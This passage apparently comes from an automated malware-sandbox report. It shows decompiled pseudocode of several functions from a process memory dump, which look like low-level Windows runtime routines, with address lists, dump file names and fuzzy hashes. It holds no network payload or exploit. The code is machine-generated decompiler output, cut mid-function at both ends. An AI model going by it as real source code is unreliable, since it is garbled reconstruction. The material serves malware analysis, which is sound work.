										if(_t88 != 0) {
											E1E451608(_t85, _t59, 3);
										}
									}
								}
								goto L34;
							}
							_push(_t62);
							_t47 = E1E461536(0x1e488ae4, (_t74 -  *0x1e488b04 >> 0x14) + (_t74 -  *0x1e488b04 >> 0x14), _t88, __eflags);
							__eflags = _t47;
							if(_t47 == 0) {
								goto L26;
							}
							_t74 = _v12;
							_t27 = _t47 - 1; // -1
							_t88 = _t27;
							goto L25;
						}
						_t62 = _t85;
						if(L1E45C323(_t62, _v8, _t57) != 0xffffffff) {
							goto L22;
						}
						_push(_t62);
						_push(_t88);
						E1E45A80D(_t85, 9, _v8, _t88);
						goto L34;
					} else {
						_t101 = _t36;
						if(_t36 != 0) {
							L16:
							if(_t36 == 0xffffffff) {
								goto L19;
							}
							_t62 =  *((intOrPtr*)(_t36 + 2));
							if((_t62 & 0x0000000f) == 0) {
								goto L19;
							}
							_t62 = _t62 & 0xf;
							if(E1E43CB1E(_t62, _t85, _v8, 3, _t36 + 8) < 0) {
								L34:
								return _t88;
							}
							goto L19;
						}
						_t62 = _t85;
						_t36 = E1E45ACFD(_t62, _t73, _t101, _t57, _t62);
						if(_t36 == 0) {
							goto L19;
						}
						goto L16;
					}
				}
			}

0x1e45ae44
0x1e45ae4c
0x1e45ae53
0x1e45ae55
0x1e45ae5c
0x1e45ae64
0x1e45ae68
0x1e45ae75
0x1e45ae75
0x1e45ae78
0x1e45ae7a
0x1e45ae7c
0x1e45ae7f
0x1e45aea8
0x1e45aeab
0x1e45aead
0x00000000
0x00000000
0x1e45aeb3
0x1e45aeb8
0x1e45aebb
0x1e45aebd
0x00000000
0x1e45ae81
0x1e45ae88
0x1e45ae8f
0x1e45ae9b
0x1e45ae96
0x1e45ae96
0x1e45ae96
0x1e45aea0
0x1e45aea3
0x1e45aebf
0x1e45aebf
0x1e45aec3
0x1e45aec9
0x1e45af0d
0x1e45af14
0x1e45af3d
0x1e45af3d
0x1e45af41
0x1e45af44
0x1e45af67
0x1e45af67
0x1e45af6a
0x1e45afca
0x1e45afd1
0x00000000
0x1e45afd1
0x1e45af6c
0x1e45af6d
0x1e45af75
0x1e45af7c
0x1e45af7e
0x1e45af80
0x1e45af85
0x1e45af87
0x1e45af99
0x1e45af89
0x1e45af92
0x1e45af92
0x1e45af9e
0x1e45afa1
0x1e45afa3
0x1e45afa9
0x1e45afb0
0x1e45afb2
0x1e45afb4
0x1e45afbc
0x1e45afbc
0x1e45afb4
0x1e45afb0
0x00000000
0x1e45afa1
0x1e45af4f
0x1e45af57
0x1e45af5c
0x1e45af5e
0x00000000
0x00000000
0x1e45af60
0x1e45af64
0x1e45af64
0x00000000
0x1e45af64
0x1e45af1a
0x1e45af25
0x00000000
0x00000000
0x1e45af27
0x1e45af28
0x1e45af33
0x00000000
0x1e45aed0
0x1e45aed0
0x1e45aed2
0x1e45aee1
0x1e45aee4
0x00000000
0x00000000
0x1e45aee6
0x1e45aeec
0x00000000
0x00000000
0x1e45aefb
0x1e45af07
0x1e45afd3
0x1e45afdb
0x1e45afdb
0x00000000
0x1e45af07
0x1e45aed6
0x1e45aed8
0x1e45aedf
0x00000000
0x00000000
0x00000000
0x1e45aedf
0x1e45aec9

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2b96b28a333dfc363fa2746ef0cb04127ba9d3d9f1dd231ebc1e823c5100752
Instruction ID: 9d39bde7d200986406d0ac0993ec600af812b7b909558722dd972c130eb322b4
Opcode Fuzzy Hash: d2b96b28a333dfc363fa2746ef0cb04127ba9d3d9f1dd231ebc1e823c5100752
Instruction Fuzzy Hash: 454104B2700351ABD716CF26C8A0B2BB79BEF84660F11471FF81687390DB74E801E6A1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3BDBE9, Relevance: .1, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E1E3BDBE9(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebx;
				void* __edi;
				signed int _t54;
				char* _t58;
				signed int _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int* _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				char _t82;
				signed int _t83;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				signed int _t97;
				intOrPtr _t98;
				intOrPtr* _t99;
				signed int* _t101;
				signed int* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t118;

				_t92 = __edx;
				_t75 = _a4;
				_t98 = __ecx;
				_v44 = __edx;
				_t106 = _t75[1];
				_v40 = __ecx;
				if(_t106 < 0 || _t106 <= 0 &&  *_t75 < 0) {
					_t82 = 0;
				} else {
					_t82 = 1;
				}
				_v5 = _t82;
				_t6 = _t98 + 0xc8; // 0xc9
				_t101 = _t6;
				 *((intOrPtr*)(_t98 + 0xd4)) = _a12;
				_v16 = _t92 + ((0 | _t82 != 0x00000000) - 0x00000001 & 0x00000048) + 8;
				 *((intOrPtr*)(_t98 + 0xd8)) = _a8;
				if(_t82 != 0) {
					 *(_t98 + 0xde) =  *(_t98 + 0xde) | 0x00000002;
					_t83 =  *_t75;
					_t54 = _t75[1];
					 *_t101 = _t83;
					_t84 = _t83 | _t54;
					_t101[1] = _t54;
					if(_t84 == 0) {
						_t101[1] = _t101[1] & _t84;
						 *_t101 = 1;
					}
					goto L19;
				} else {
					if(_t101 == 0) {
						E1E39CC50(E1E394510(0xc000000d));
						_t88 =  *_t101;
						_t97 = _t101[1];
						L15:
						_v12 = _t88;
						_t66 = _t88 -  *_t75;
						_t89 = _t97;
						asm("sbb ecx, [ebx+0x4]");
						_t118 = _t89 - _t97;
						if(_t118 <= 0 && (_t118 < 0 || _t66 < _v12)) {
							_t66 = _t66 | 0xffffffff;
							_t89 = 0x7fffffff;
						}
						 *_t101 = _t66;
						_t101[1] = _t89;
						L19:
						if(E1E3B7D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t58 = 0x7ffe0386;
						}
						_t102 = _v16;
						if( *_t58 != 0) {
							_t58 = E1E468ED6(_t102, _t98);
						}
						_t76 = _v44;
						E1E3B2280(_t58, _v44);
						E1E3BDD82(_v44, _t102, _t98);
						E1E3BB944(_t102, _v5);
						return E1E3AFFB0(_t76, _t98, _t76);
					}
					_t99 = 0x7ffe03b0;
					do {
						_t103 = 0x7ffe0010;
						do {
							_t67 =  *0x1e488628; // 0x0
							_v28 = _t67;
							_t68 =  *0x1e48862c; // 0x0
							_v32 = _t68;
							_v24 =  *((intOrPtr*)(_t99 + 4));
							_v20 =  *_t99;
							while(1) {
								_t97 =  *0x7ffe000c;
								_t90 =  *0x7FFE0008;
								if(_t97 ==  *_t103) {
									goto L10;
								}
								asm("pause");
							}
							L10:
							_t79 = _v24;
							_t99 = 0x7ffe03b0;
							_v12 =  *0x7ffe03b0;
							_t72 =  *0x7FFE03B4;
							_t103 = 0x7ffe0010;
							_v36 = _t72;
						} while (_v20 != _v12 || _t79 != _t72);
						_t73 =  *0x1e488628; // 0x0
						_t105 = _v28;
						_t80 =  *0x1e48862c; // 0x0
					} while (_t105 != _t73 || _v32 != _t80);
					_t98 = _v40;
					asm("sbb edx, [ebp-0x20]");
					_t88 = _t90 - _v12 - _t105;
					_t75 = _a4;
					asm("sbb edx, eax");
					_t31 = _t98 + 0xc8; // 0x1e45fb53
					_t101 = _t31;
					 *_t101 = _t88;
					_t101[1] = _t97;
					goto L15;
				}
			}

0x1e3bdbe9
0x1e3bdbf2
0x1e3bdbf7
0x1e3bdbf9
0x1e3bdbfc
0x1e3bdc00
0x1e3bdc03
0x1e3bdc14
0x1e3bdd54
0x1e3bdd54
0x1e3bdd54
0x1e3bdc18
0x1e3bdc1d
0x1e3bdc1d
0x1e3bdc32
0x1e3bdc3b
0x1e3bdc3e
0x1e3bdc46
0x1e3bdd5b
0x1e3bdd62
0x1e3bdd64
0x1e3bdd67
0x1e3bdd69
0x1e3bdd6b
0x1e3bdd6e
0x1e3bdd70
0x1e3bdd73
0x1e3bdd73
0x00000000
0x1e3bdc4c
0x1e3bdc4e
0x1e403ae3
0x1e403ae8
0x1e403aea
0x1e3bdce7
0x1e3bdce9
0x1e3bdcec
0x1e3bdcee
0x1e3bdcf0
0x1e3bdcf3
0x1e3bdcf5
0x1e403af2
0x1e403af5
0x1e403af5
0x1e3bdd06
0x1e3bdd08
0x1e3bdd0b
0x1e3bdd12
0x1e403b08
0x1e3bdd18
0x1e3bdd18
0x1e3bdd18
0x1e3bdd20
0x1e3bdd23
0x1e403b16
0x1e403b16
0x1e3bdd29
0x1e3bdd2d
0x1e3bdd36
0x1e3bdd40
0x1e3bdd51
0x1e3bdd51
0x1e3bdc54
0x1e3bdc59
0x1e3bdc59
0x1e3bdc5e
0x1e3bdc5e
0x1e3bdc63
0x1e3bdc66
0x1e3bdc6b
0x1e3bdc78
0x1e3bdc7b
0x1e3bdc81
0x1e3bdc81
0x1e3bdc83
0x1e3bdc89
0x00000000
0x00000000
0x1e3bdd7b
0x1e3bdd7b
0x1e3bdc8f
0x1e3bdc8f
0x1e3bdc92
0x1e3bdc99
0x1e3bdc9f
0x1e3bdca5
0x1e3bdcaa
0x1e3bdcaa
0x1e3bdcb3
0x1e3bdcb8
0x1e3bdcbb
0x1e3bdcc1
0x1e3bdccf
0x1e3bdcd2
0x1e3bdcd5
0x1e3bdcd7
0x1e3bdcda
0x1e3bdcdc
0x1e3bdcdc
0x1e3bdce2
0x1e3bdce4
0x00000000
0x1e3bdce4

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 722d8ace06b30b10e8eb1910f6f9fe1feb5994856723bca7cd350ccf4460928c
Instruction ID: 94769407c27177b893f810db512077f4155dcf1509c89fb49717aaee24975a75
Opcode Fuzzy Hash: 722d8ace06b30b10e8eb1910f6f9fe1feb5994856723bca7cd350ccf4460928c
Instruction Fuzzy Hash: C051BF75A00256CFCB04CFA8C490A9EFBF6BF48310F60876ED596A7744DB70A944CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E3AEF40, Relevance: .1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E1E3AEF40(intOrPtr __ecx) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t58;
				char _t59;
				signed char _t69;
				void* _t73;
				signed int _t74;
				char _t79;
				signed char _t81;
				signed int _t85;
				signed int _t87;
				intOrPtr _t90;
				signed char* _t91;
				void* _t92;
				signed int _t94;
				void* _t96;

				_t90 = __ecx;
				_v16 = __ecx;
				if(( *(__ecx + 0x14) & 0x04000000) != 0) {
					_t58 =  *((intOrPtr*)(__ecx));
					if(_t58 != 0xffffffff &&  *((intOrPtr*)(_t58 + 8)) == 0) {
						E1E399080(_t73, __ecx, __ecx, _t92);
					}
				}
				_t74 = 0;
				_t96 =  *0x7ffe036a - 1;
				_v12 = 0;
				_v7 = 0;
				if(_t96 > 0) {
					_t74 =  *(_t90 + 0x14) & 0x00ffffff;
					_v12 = _t74;
					_v7 = _t96 != 0;
				}
				_t79 = 0;
				_v8 = 0;
				_v5 = 0;
				while(1) {
					L4:
					_t59 = 1;
					L5:
					while(1) {
						if(_t59 == 0) {
							L12:
							_t21 = _t90 + 4; // 0x77dfc21e
							_t87 =  *_t21;
							_v6 = 0;
							if(_t79 != 0) {
								if((_t87 & 0x00000002) != 0) {
									goto L19;
								}
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000003;
								} else {
									_t51 = _t87 - 2; // -2
									_t74 = _t51;
								}
								goto L15;
							} else {
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000001;
								} else {
									_t26 = _t87 - 4; // -4
									_t74 = _t26;
									if((_t74 & 0x00000002) == 0) {
										_t74 = _t74 - 2;
									}
								}
								L15:
								if(_t74 == _t87) {
									L19:
									E1E392D8A(_t74, _t90, _t87, _t90);
									_t74 = _v12;
									_v8 = 1;
									if(_v7 != 0 && _t74 > 0x64) {
										_t74 = _t74 - 1;
										_v12 = _t74;
									}
									_t79 = _v5;
									goto L4;
								}
								asm("lock cmpxchg [esi], ecx");
								if(_t87 != _t87) {
									_t74 = _v12;
									_t59 = 0;
									_t79 = _v5;
									continue;
								}
								if(_v6 != 0) {
									_t74 = _v12;
									L25:
									if(_v7 != 0) {
										if(_t74 < 0x7d0) {
											if(_v8 == 0) {
												_t74 = _t74 + 1;
											}
										}
										_t38 = _t90 + 0x14; // 0x0
										_t39 = _t90 + 0x14; // 0x0
										_t85 = ( *_t38 ^ _t74) & 0x00ffffff ^  *_t39;
										if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
											_t85 = _t85 & 0xff000000;
										}
										 *(_t90 + 0x14) = _t85;
									}
									 *((intOrPtr*)(_t90 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									 *((intOrPtr*)(_t90 + 8)) = 1;
									return 0;
								}
								_v5 = 1;
								_t87 = _t74;
								goto L19;
							}
						}
						_t94 = _t74;
						_v20 = 1 + (0 | _t79 != 0x00000000) * 2;
						if(_t74 == 0) {
							goto L12;
						} else {
							_t91 = _t90 + 4;
							goto L8;
							L9:
							while((_t81 & 0x00000001) != 0) {
								_t69 = _t81;
								asm("lock cmpxchg [edi], edx");
								if(_t69 != _t81) {
									_t81 = _t69;
									continue;
								}
								_t90 = _v16;
								goto L25;
							}
							asm("pause");
							_t94 = _t94 - 1;
							if(_t94 != 0) {
								L8:
								_t81 =  *_t91;
								goto L9;
							} else {
								_t90 = _v16;
								_t79 = _v5;
								goto L12;
							}
						}
					}
				}
			}

0x1e3aef4b
0x1e3aef4d
0x1e3aef57
0x1e3af0bd
0x1e3af0c2
0x1e3af0d2
0x1e3af0d2
0x1e3af0c2
0x1e3aef5d
0x1e3aef5f
0x1e3aef67
0x1e3aef6a
0x1e3aef6d
0x1e3aef74
0x1e3aef7f
0x1e3aef82
0x1e3aef82
0x1e3aef86
0x1e3aef88
0x1e3aef8c
0x1e3aef8f
0x1e3aef8f
0x1e3aef8f
0x00000000
0x1e3aef91
0x1e3aef93
0x1e3aefc4
0x1e3aefc4
0x1e3aefc4
0x1e3aefca
0x1e3aefd0
0x1e3af0a6
0x00000000
0x00000000
0x1e3af0af
0x1e3fbb06
0x1e3fbb0a
0x1e3af0b5
0x1e3af0b5
0x1e3af0b5
0x1e3af0b5
0x00000000
0x1e3aefd6
0x1e3aefd9
0x1e3af0de
0x1e3af0e2
0x1e3aefdf
0x1e3aefdf
0x1e3aefdf
0x1e3aefe5
0x1e3fbafc
0x1e3fbafc
0x1e3aefe5
0x1e3aefeb
0x1e3aefed
0x1e3af00f
0x1e3af011
0x1e3af01a
0x1e3af01d
0x1e3af021
0x1e3af028
0x1e3af029
0x1e3af029
0x1e3af02c
0x00000000
0x1e3af02c
0x1e3aeff3
0x1e3aeff9
0x1e3af0ea
0x1e3af0ed
0x1e3af0ef
0x00000000
0x1e3af0ef
0x1e3af003
0x1e3fbb12
0x1e3af045
0x1e3af049
0x1e3af051
0x1e3af09e
0x1e3af0a0
0x1e3af0a0
0x1e3af09e
0x1e3af053
0x1e3af064
0x1e3af064
0x1e3af06b
0x1e3fbb1a
0x1e3fbb1a
0x1e3af071
0x1e3af071
0x1e3af07d
0x1e3af082
0x1e3af08f
0x1e3af08f
0x1e3af009
0x1e3af00d
0x00000000
0x1e3af00d
0x1e3aefd0
0x1e3aef97
0x1e3aefa5
0x1e3aefaa
0x00000000
0x1e3aefac
0x1e3aefac
0x1e3aefac
0x00000000
0x1e3aefb2
0x1e3af036
0x1e3af03a
0x1e3af040
0x1e3af090
0x00000000
0x1e3af092
0x1e3af042
0x00000000
0x1e3af042
0x1e3aefb7
0x1e3aefb9
0x1e3aefbc
0x1e3aefb0
0x1e3aefb0
0x00000000
0x1e3aefbe
0x1e3aefbe
0x1e3aefc1
0x00000000
0x1e3aefc1
0x1e3aefbc
0x1e3aefaa
0x1e3aef91

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction ID: 7850807916e456122af699d12039e3409855d83333940db7286e15fb9403c9f9
Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction Fuzzy Hash: 9751CF30E1428ADFDB04CB66C19079EBBB2EF85314F1583A8E655D7281C375A9C9C761

Uniqueness

Uniqueness Score: -1.00%

Function 1E46740D, Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E1E46740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				signed int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_t80 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E1E3ED4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E1E3DF380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = L1E3B4620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = L1E3B4620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					E1E3DF3E0(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = L1E3B4620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x1e46740d
0x1e46740d
0x1e467412
0x1e467413
0x1e467416
0x1e467418
0x1e46741c
0x1e46741f
0x1e467422
0x1e467422
0x1e467428
0x1e46742a
0x1e46742a
0x1e467451
0x1e467432
0x1e46744f
0x1e46744f
0x00000000
0x1e467434
0x1e467438
0x1e467443
0x1e467517
0x1e467517
0x1e46751a
0x1e467535
0x1e467520
0x1e467527
0x1e46752c
0x1e467531
0x1e467533
0x00000000
0x1e467533
0x00000000
0x1e467531
0x1e46754b
0x1e46754f
0x1e46755c
0x1e46755c
0x1e46755f
0x1e467560
0x1e467561
0x1e467562
0x1e467563
0x1e467568
0x1e46756a
0x1e46756c
0x1e46756d
0x1e46756d
0x1e46756f
0x1e467572
0x1e467574
0x1e467577
0x1e46757c
0x1e46757f
0x00000000
0x1e467551
0x1e467551
0x1e467551
0x1e467553
0x1e467553
0x1e467449
0x1e467449
0x1e46744c
0x1e46744c
0x00000000
0x1e46744c
0x1e467443
0x1e46750e
0x1e467514
0x1e467514
0x1e467455
0x1e467469
0x1e46746d
0x00000000
0x1e467473
0x1e467473
0x1e467476
0x1e467480
0x1e467484
0x1e46748e
0x1e467493
0x1e467493
0x1e467496
0x1e467499
0x1e4674a1
0x1e4674b1
0x1e4674b5
0x00000000
0x1e4674bb
0x1e4674c1
0x1e4674c1
0x1e4674c4
0x1e4674c5
0x1e4674c6
0x1e4674c7
0x1e4674c8
0x1e4674cd
0x00000000
0x1e4674d3
0x1e4674d3
0x1e4674d6
0x1e4674d8
0x1e4674db
0x1e4674dd
0x1e4674e0
0x1e4674e7
0x1e4674ee
0x1e4674ee
0x1e4674f4
0x1e4674f9
0x00000000
0x1e4674fb
0x1e4674fb
0x1e4674fd
0x1e467500
0x1e467503
0x1e467505
0x1e467505
0x1e4674f9
0x00000000
0x1e4674cd
0x1e4674b5
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: 3f76c45e33be7737dd1b25018f9c0c74815ada5b0d3934f7c983b16de94e3f74
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: 1D519E71600646EFDB15CF14C484A46BBB5FF49308F15C6AAE9089F625E371E986CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C2990, Relevance: .1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E1E3C2990() {
				signed int* _t62;
				signed int _t64;
				intOrPtr _t66;
				signed short* _t69;
				intOrPtr _t76;
				signed short* _t79;
				void* _t81;
				signed int _t82;
				signed short* _t83;
				signed int _t87;
				intOrPtr _t91;
				void* _t98;
				signed int _t99;
				void* _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;
				void* _t107;

				_push(0x20);
				_push(0x1e46ff00);
				E1E3ED08C(_t81, _t98, _t101);
				 *((intOrPtr*)(_t103 - 0x28)) =  *[fs:0x18];
				_t99 = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x1c)))) = 0;
				_t82 =  *((intOrPtr*)(_t103 + 0x10));
				if(_t82 == 0) {
					_t62 = 0xc0000100;
				} else {
					 *((intOrPtr*)(_t103 - 4)) = 0;
					_t102 = 0xc0000100;
					 *((intOrPtr*)(_t103 - 0x30)) = 0xc0000100;
					_t64 = 4;
					while(1) {
						 *(_t103 - 0x24) = _t64;
						if(_t64 == 0) {
							break;
						}
						_t87 = _t64 * 0xc;
						 *(_t103 - 0x2c) = _t87;
						_t107 = _t82 -  *((intOrPtr*)(_t87 + 0x1e371664));
						if(_t107 <= 0) {
							if(_t107 == 0) {
								_t79 = E1E3DE5C0( *((intOrPtr*)(_t103 + 0xc)),  *((intOrPtr*)(_t87 + 0x1e371668)), _t82);
								_t104 = _t104 + 0xc;
								__eflags = _t79;
								if(__eflags == 0) {
									_t102 = E1E4151BE(_t82,  *((intOrPtr*)( *(_t103 - 0x2c) + 0x1e37166c)),  *((intOrPtr*)(_t103 + 0x14)), _t99, _t102, __eflags,  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
									 *((intOrPtr*)(_t103 - 0x30)) = _t102;
									break;
								} else {
									_t64 =  *(_t103 - 0x24);
									goto L5;
								}
								goto L13;
							} else {
								L5:
								_t64 = _t64 - 1;
								continue;
							}
						}
						break;
					}
					 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
					__eflags = _t102;
					if(_t102 < 0) {
						__eflags = _t102 - 0xc0000100;
						if(_t102 == 0xc0000100) {
							_t83 =  *((intOrPtr*)(_t103 + 8));
							__eflags = _t83;
							if(_t83 != 0) {
								 *((intOrPtr*)(_t103 - 0x20)) = _t83;
								__eflags =  *_t83 - _t99;
								if( *_t83 == _t99) {
									_t102 = 0xc0000100;
									goto L19;
								} else {
									_t91 =  *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30));
									_t66 =  *((intOrPtr*)(_t91 + 0x10));
									__eflags =  *((intOrPtr*)(_t66 + 0x48)) - _t83;
									if( *((intOrPtr*)(_t66 + 0x48)) == _t83) {
										__eflags =  *((intOrPtr*)(_t91 + 0x1c));
										if( *((intOrPtr*)(_t91 + 0x1c)) == 0) {
											L26:
											_t102 = E1E3C2AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
											 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
											__eflags = _t102 - 0xc0000100;
											if(_t102 != 0xc0000100) {
												goto L12;
											} else {
												_t99 = 1;
												_t83 =  *((intOrPtr*)(_t103 - 0x20));
												goto L18;
											}
										} else {
											_t69 = E1E3A6600( *((intOrPtr*)(_t91 + 0x1c)));
											__eflags = _t69;
											if(_t69 != 0) {
												goto L26;
											} else {
												_t83 =  *((intOrPtr*)(_t103 + 8));
												goto L18;
											}
										}
									} else {
										L18:
										_t102 = E1E3C2C50(_t83,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)), _t99);
										L19:
										 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
										goto L12;
									}
								}
								L28:
							} else {
								E1E3AEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
								 *((intOrPtr*)(_t103 - 4)) = 1;
								 *((intOrPtr*)(_t103 - 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30)) + 0x10)) + 0x48));
								_t102 =  *((intOrPtr*)(_t103 + 0x1c));
								_t76 = E1E3C2AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102);
								 *((intOrPtr*)(_t103 - 0x1c)) = _t76;
								__eflags = _t76 - 0xc0000100;
								if(_t76 == 0xc0000100) {
